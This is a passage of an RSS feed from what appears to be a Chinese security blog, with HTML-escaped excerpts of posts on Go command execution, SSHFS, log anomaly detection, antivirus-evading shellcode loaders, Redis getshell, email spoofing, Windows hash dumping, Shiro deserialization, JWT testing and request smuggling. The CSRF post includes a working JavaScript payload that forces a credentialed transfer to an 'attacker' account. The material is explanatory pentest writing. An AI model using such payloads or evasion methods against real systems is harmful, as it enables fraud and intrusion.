&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt;	&lt;/span&gt;&lt;span class="nx"&gt;err&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;:=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;cmd&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;Run&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt;	&lt;/span&gt;&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;err&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;!=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kc"&gt;nil&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt;		&lt;/span&gt;&lt;span class="nx"&gt;log&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;Fatalf&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;&amp;#34;cmd.Run() failed with %s\n&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;err&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt;	&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt;	&lt;/span&gt;&lt;span class="nx"&gt;outStr&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;errStr&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;:=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;string&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;stdout&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;Bytes&lt;/span&gt;&lt;span class="p"&gt;()),&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;string&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;stderr&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;Bytes&lt;/span&gt;&lt;span class="p"&gt;())&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt;	&lt;/span&gt;&lt;span class="nx"&gt;fmt&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;Printf&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;&amp;#34;out:\n%s\nerr:\n%s\n&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;outStr&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;errStr&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;ul&gt;
&lt;li&gt;直接打印到屏幕&lt;/li&gt;
&lt;/ul&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-go" data-lang="go"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="kd"&gt;func&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;main&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt;	&lt;/span&gt;&lt;span class="nx"&gt;cmd&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;:=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;exec&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;Command&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;&amp;#34;ls&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s"&gt;&amp;#34;-lah&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt;	&lt;/span&gt;&lt;span class="nx"&gt;cmd&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;Stdout&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;os&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;Stdout&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt;	&lt;/span&gt;&lt;span class="nx"&gt;cmd&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;Stderr&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;os&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;Stdout&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt;	&lt;/span&gt;&lt;span class="nx"&gt;err&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;:=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;cmd&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;Run&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt;	&lt;/span&gt;&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;err&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;!=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kc"&gt;nil&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt;		&lt;/span&gt;&lt;span class="nx"&gt;log&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;Fatalf&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;&amp;#34;cmd.Run() failed with %s\n&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;err&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt;	&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h1 id="3-异步执行命令"&gt;3. 异步执行命令&lt;/h1&gt;
&lt;p&gt;cmd.Run() 阻塞等待命令执行结束
cmd.Start() 不会等待命令完成&lt;/p&gt;</description></item><item><title>基于SSHFS的网盘搭建</title><link>https://saucer-man.com/operation_and_maintenance/480.html</link><pubDate>Thu, 03 Sep 2020 16:35:00 +0000</pubDate><guid>https://saucer-man.com/operation_and_maintenance/480.html</guid><description>&lt;h1 id="1-介绍"&gt;1. 介绍&lt;/h1&gt;
&lt;p&gt;SSHFS 是一个基于&lt;a href="https://zh.wikipedia.org/wiki/FUSE"&gt;fuse&lt;/a&gt;的文件系统客户机，用于在安全Shell连接上挂载远程目录，可以用来挂载一个远程的sftp文件系统。&lt;/p&gt;
&lt;h1 id="2-使用"&gt;2. 使用&lt;/h1&gt;
&lt;h2 id="21-挂载"&gt;2.1 挂载&lt;/h2&gt;
&lt;p&gt;SSH用户需要能够访问目录。调用sshfs挂载远程目录&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-shell" data-lang="shell"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;$ sshfs &lt;span class="o"&gt;[&lt;/span&gt;user@&lt;span class="o"&gt;]&lt;/span&gt;host:&lt;span class="o"&gt;[&lt;/span&gt;dir&lt;span class="o"&gt;]&lt;/span&gt; mountpoint &lt;span class="o"&gt;[&lt;/span&gt;options&lt;span class="o"&gt;]&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;示例
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;$ sshfs myuser@mycomputer:/remote/path /local/path -C -p &lt;span class="m"&gt;9876&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;这里的-p参数指定ssh端口，-C参数允许压缩传输
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h2 id="22-解除挂载"&gt;2.2 解除挂载&lt;/h2&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-shell" data-lang="shell"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;$ umount mountpoint
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;示例：
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;$ umount /local/path
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h2 id="23-更多参数"&gt;2.3 更多参数&lt;/h2&gt;
&lt;p&gt;完整的参数列表可以参考https://linux.die.net/man/1/sshfs&lt;/p&gt;
&lt;h1 id="3-sftp服务端"&gt;3. SFTP服务端&lt;/h1&gt;
&lt;p&gt;SFTP（SSH文件传输协议）使用Secure Shell 协议（SSH）传输文件。和FTP类似，但是具有更高的安全性。有如下特点：&lt;/p&gt;</description></item><item><title>基于LSTM深度模型实现系统日志异常检测</title><link>https://saucer-man.com/information_security/475.html</link><pubDate>Mon, 01 Jun 2020 17:05:51 +0000</pubDate><guid>https://saucer-man.com/information_security/475.html</guid><description>&lt;h1 id="1-背景"&gt;1. 背景&lt;/h1&gt;
&lt;p&gt;主机系统运行过程中会产生各种各样的日志，日志记录了计算机运行时的状态和系统执行的各种操作，是在线监视和异常检测的良好信息来源，因此对系统日志的审计可以作为主机异常检测的重要手段。&lt;/p&gt;
&lt;p&gt;市场早已经存在各种各样的安全审计系统，比如日志审计系统、入侵检测系统（intrusion detection system，IDS）等,这些系统可以实现日志的采集、审计和异常行为挖掘的功能。但是在实际使用中，由于日志的差异和日志审计手段的单一落后，这些系统往往只适用于特定类型的主机，且能检测到的异常行为不够全面和准确。&lt;/p&gt;</description></item><item><title>加载混淆的shellcode实现静态免杀</title><link>https://saucer-man.com/operation_and_maintenance/465.html</link><pubDate>Wed, 27 May 2020 09:49:30 +0000</pubDate><guid>https://saucer-man.com/operation_and_maintenance/465.html</guid><description>&lt;p&gt;由于各种av的限制，我们在后门上线或者权限持久化时很容易被杀软查杀，容易引起目标的警觉同时暴露了自己的ip。尤其是对于windows目标，一个免杀的后门极为关键，如果后门文件落不了地，还怎么能进一步执行呢？&lt;/p&gt;
&lt;p&gt;关于后门免杀，网上的介绍已经很多了，原理其实大同小异。笔者最近看了不少相关文章，打算以自己的理解一步步写一个简单的免杀demo。本文将使用cobalt strike和msf中的shellcode为后门基础，探讨一下静态免杀的原理和方法。&lt;/p&gt;</description></item><item><title>常见未授权弱口令组件总结</title><link>https://saucer-man.com/information_security/437.html</link><pubDate>Thu, 16 Apr 2020 04:07:00 +0000</pubDate><guid>https://saucer-man.com/information_security/437.html</guid><description>&lt;p&gt;总结一些主机端口，web服务上的未授权弱口令漏洞，长期更新~&lt;/p&gt;
&lt;h1 id="1-redis未授权"&gt;1. redis未授权&lt;/h1&gt;
&lt;p&gt;** 漏洞成因**&lt;/p&gt;
&lt;p&gt;Redis是一个开源的使用ANSI C语言编写、支持网络、可基于内存亦可持久化的日志型、Key-Value数据库，并提供多种语言的API。&lt;/p&gt;
&lt;p&gt;Redis因配置不当可以未授权访问。低版本的Redis，默认监听在0.0.0.0，且未开启访问认证，4.x版本开始默认监听在127.0.0.1，但仍未开启访问认证。可导致敏感信息泄露，也可以利用redis的备份功能来进行写文件的操作，从而可以写webshell，ssh密钥或者计划任务来getshell，在redis4.0+版本中，还可以利用主从复制来加载恶意so文件实现任意命令执行。&lt;/p&gt;</description></item><item><title>邮件伪造原理和实践</title><link>https://saucer-man.com/information_security/452.html</link><pubDate>Sun, 29 Mar 2020 14:30:00 +0000</pubDate><guid>https://saucer-man.com/information_security/452.html</guid><description>&lt;h1 id="1-smtp协议"&gt;1. smtp协议&lt;/h1&gt;
&lt;p&gt;smtp(Simple Mail Transfer Protocol)是用来发送邮件的协议，属于应用层协议的一种。SMTP的连接和发送过程如下：&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;建立TCP连接&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;客户端发送HELO或者EHLO命令以标识发件人自己的身份，服务器返回250 OK或者更详细一点的信息。&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;然后客户端发送MAIL命令，表明发件人邮箱地址， 服务器端以OK作为响应，表明准备接收&lt;/p&gt;</description></item><item><title>windows密码的抓取和利用</title><link>https://saucer-man.com/information_security/443.html</link><pubDate>Thu, 26 Mar 2020 04:06:00 +0000</pubDate><guid>https://saucer-man.com/information_security/443.html</guid><description>&lt;h1 id="1-windows-hash生成原理"&gt;1. windows hash生成原理&lt;/h1&gt;
&lt;p&gt;本部分主要参考:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="https://www.sqlsec.com/2019/11/winhash.html#toc-heading-2"&gt;Windows Hash分类&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://xz.aliyun.com/t/2445"&gt;LM-Hash &amp;amp;&amp;amp; NTLM-Hash&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;windows hash由二部分组成，分别是LM HASH和NTLM HASH，这是对同一个密码的两种不同的加密方式&lt;/p&gt;
&lt;p&gt;LM Hash生成原理&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;用户的密码转换为大写，密码转换为16进制字符串，不足14字节将会用0来再后面补全。&lt;/li&gt;
&lt;li&gt;密码的16进制字符串被分成两个7byte部分。每部分转换成比特流，并且长度位56bit，长度不足使用0在左边补齐长度&lt;/li&gt;
&lt;li&gt;再分7bit为一组,每组末尾加0，再组成一组&lt;/li&gt;
&lt;li&gt;上步骤得到的二组，分别作为key 为 KGS!@#$%进行DES加密。&lt;/li&gt;
&lt;li&gt;将加密后的两组拼接在一起，得到最终LM HASH值。&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;LM Hash缺点&lt;/p&gt;</description></item><item><title>分析调试apache shiro反序列化漏洞(CVE-2016-4437)</title><link>https://saucer-man.com/information_security/396.html</link><pubDate>Wed, 26 Feb 2020 06:32:00 +0000</pubDate><guid>https://saucer-man.com/information_security/396.html</guid><description>&lt;h2 id="1-什么是java反序列化"&gt;1. 什么是java反序列化&lt;/h2&gt;
&lt;p&gt;序列化和反序列化是一种常见的编程思想，php、python也都存在此种机制。序列化就是将对象转化成字节流，便于保存在内存、文件或者数据库中(保存此对象的状态)。反序列化就是将字节流转化为对象。&lt;/p&gt;
&lt;p&gt;java反序列化也类似，某个类只要实现了java.io.Serialization(或者java.io.Externalizable)接口，便可以被序列化。比如下面的类：&lt;/p&gt;</description></item><item><title>csrf中的一些小tricks</title><link>https://saucer-man.com/information_security/404.html</link><pubDate>Tue, 04 Feb 2020 12:25:57 +0000</pubDate><guid>https://saucer-man.com/information_security/404.html</guid><description>&lt;p&gt;csrf漏洞最常见，也比较简单，一般结合别的漏洞放大危害，这里简单整合一下断断续续的笔记片段。&lt;/p&gt;
&lt;h2 id="1-csrf常用的payload"&gt;1. csrf常用的payload&lt;/h2&gt;
&lt;p&gt;一般利用js构造http请求方便后续的网页跳转。&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-html" data-lang="html"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;&amp;lt;&lt;/span&gt;&lt;span class="nt"&gt;html&lt;/span&gt;&lt;span class="p"&gt;&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="p"&gt;&amp;lt;&lt;/span&gt;&lt;span class="nt"&gt;body&lt;/span&gt;&lt;span class="p"&gt;&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="p"&gt;&amp;lt;&lt;/span&gt;&lt;span class="nt"&gt;script&lt;/span&gt;&lt;span class="p"&gt;&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="kd"&gt;var&lt;/span&gt; &lt;span class="nx"&gt;request&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="k"&gt;new&lt;/span&gt; &lt;span class="nx"&gt;XMLHttpRequest&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="nx"&gt;request&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;open&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;POST&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;http://localhost:3000/post_transfer&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="kc"&gt;false&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="nx"&gt;request&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;setRequestHeader&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;Content-type&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;application/x-www-form-urlencoded&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="nx"&gt;request&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;withCredentials&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="kc"&gt;true&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="k"&gt;try&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="nx"&gt;request&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;send&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;quantity=10&amp;amp;destination_username=attacker&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="p"&gt;}&lt;/span&gt; &lt;span class="k"&gt;catch&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;err&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="c1"&gt;//Do nothing on inevitable XSS error
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="p"&gt;}&lt;/span&gt; &lt;span class="k"&gt;finally&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="nb"&gt;window&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;location&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;http://www.baidu.com&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="p"&gt;}&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="p"&gt;&amp;lt;/&lt;/span&gt;&lt;span class="nt"&gt;script&lt;/span&gt;&lt;span class="p"&gt;&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="p"&gt;&amp;lt;/&lt;/span&gt;&lt;span class="nt"&gt;body&lt;/span&gt;&lt;span class="p"&gt;&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;&amp;lt;/&lt;/span&gt;&lt;span class="nt"&gt;html&lt;/span&gt;&lt;span class="p"&gt;&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h2 id="2-csrf绕过refer的方法"&gt;2. csrf绕过refer的方法&lt;/h2&gt;
&lt;h3 id="21-允许refer为空绕过"&gt;2.1 允许refer为空绕过&lt;/h3&gt;
&lt;p&gt;利用ftp://,http://,https://,file://,javascript:,data:，如果这个HTML页面向任何http站点提交请求的话，这些请求的Referer都是空的。&lt;/p&gt;</description></item><item><title>2019年终总结</title><link>https://saucer-man.com/private/394.html</link><pubDate>Mon, 30 Dec 2019 12:55:00 +0000</pubDate><guid>https://saucer-man.com/private/394.html</guid><description>&lt;p&gt;2019年终总结&lt;/p&gt;
&lt;p&gt;尝试写点年终总结简单记录一下这一年的成长吧。&lt;/p&gt;
&lt;p&gt;2019年过的很快，有时候我还以为已经身处2020年，但是翻到2018年写的笔记时又感觉恍然就是前几天，的确，随着年龄的增长，时间在脑海中的印记已经没有那么深刻了。&lt;/p&gt;
&lt;h2 id="英语"&gt;英语&lt;/h2&gt;
&lt;p&gt;作为一个英语菜鸡，我对英语的态度依旧是消极沉重的，但是作为一个新时代好青年，英语还是要稍微学下的。&lt;/p&gt;</description></item><item><title>Spell: Streaming Parsing of System Event Logs (paper reading)</title><link>https://saucer-man.com/information_security/388.html</link><pubDate>Wed, 18 Dec 2019 07:19:00 +0000</pubDate><guid>https://saucer-man.com/information_security/388.html</guid><description>&lt;p&gt;在以数据为基础的主机威胁检测中，系统日志扮演了重要的角色。但是面对繁多，复杂，多样的日志，人工查看显然是不合适的，所以对系统日志进行自动化分析，从而检测威胁活动，是很有现实意义的事情。&lt;/p&gt;
&lt;p&gt;近年来，由于机器学习的发展，对系统日志进行分析是也取得了很大的成果。分析系统日志的第一步往往是日志解析，现在存在很多系统日志解析工具，面对不同的机器学习方法，不同的日志解析方法各有其优越性，本文记录一下我对Spell解析工具的理解。&lt;/p&gt;</description></item><item><title>对jwt的安全测试方式总结</title><link>https://saucer-man.com/information_security/377.html</link><pubDate>Sun, 17 Nov 2019 07:35:00 +0000</pubDate><guid>https://saucer-man.com/information_security/377.html</guid><description>&lt;h2 id="1-jwt简介"&gt;1. jwt简介&lt;/h2&gt;
&lt;p&gt;相对于传统的session-cookie身份校验机制，Token Auth正在变得流行，也就是说把token信息全部存在于客户端。这篇文章就讲讲Token Auth的一种，jwt机制。&lt;/p&gt;
&lt;p&gt;jwt(JSON Web Token)是一串json格式的字符串，由服务端用加密算法对信息签名来保证其完整性和不可伪造。Token里可以包含所有必要信息，这样服务端就无需保存任何关于用户或会话的信息，JWT可用于身份认证、会话状态维持、信息交换等。&lt;/p&gt;</description></item><item><title>HTTP request smuggling</title><link>https://saucer-man.com/information_security/368.html</link><pubDate>Sat, 02 Nov 2019 08:04:00 +0000</pubDate><guid>https://saucer-man.com/information_security/368.html</guid><description>&lt;h2 id="0-前言"&gt;0. 前言&lt;/h2&gt;
&lt;p&gt;在最近的渗透中，burp报了一个issue：&lt;/p&gt;
&lt;p&gt;&lt;img src="https://saucer-man.com/usr/uploads/2019/11/3130167207.png" alt=""&gt;&lt;/p&gt;
&lt;p&gt;还是高危漏洞，但是一脸懵逼，菜的可以，于是打算研究一下这个漏洞。&lt;/p&gt;
&lt;h2 id="1-漏洞原理"&gt;1. 漏洞原理&lt;/h2&gt;
&lt;p&gt;要想明白这个漏洞，还是得从HTTP协议看起。&lt;/p&gt;
&lt;p&gt;通常来说，一个HTTP请求可以用两种方式来指定HTTP消息体的长度。&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;Content-Length&lt;/code&gt;来直接指定数据包长度&lt;/li&gt;
&lt;li&gt;&lt;code&gt;Transfer-Encoding: chunked&lt;/code&gt;来指定此数据包属于分块传输&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;当单个请求同时使用这两种方法，它们就会发生相互冲突。HTTP规范指出如果Content-Length和Transfer-Encoding标头同时出现在一个请求中，则应忽略Content-Length标头。&lt;strong&gt;问题在于，不是所有的服务器都使用此种规范来接收请求。&lt;/strong&gt;&lt;/p&gt;</description></item><item><title>记一次Zip Slip任意文件写漏洞</title><link>https://saucer-man.com/information_security/364.html</link><pubDate>Thu, 31 Oct 2019 07:06:13 +0000</pubDate><guid>https://saucer-man.com/information_security/364.html</guid><description>&lt;h2 id="漏洞复现"&gt;漏洞复现&lt;/h2&gt;
&lt;p&gt;第一次在测试中见到这个安全问题，故记录一下。(由于涉及到公司信息，故打码严重，只做简单复现)&lt;/p&gt;
&lt;p&gt;首先发现到这里存在一个zip文件上传点:&lt;/p&gt;
&lt;p&gt;&lt;img src="https://saucer-man.com/usr/uploads/2019/10/402503670.png" alt=""&gt;&lt;/p&gt;
&lt;p&gt;于是我们构造特殊的zip压缩文件。&lt;/p&gt;
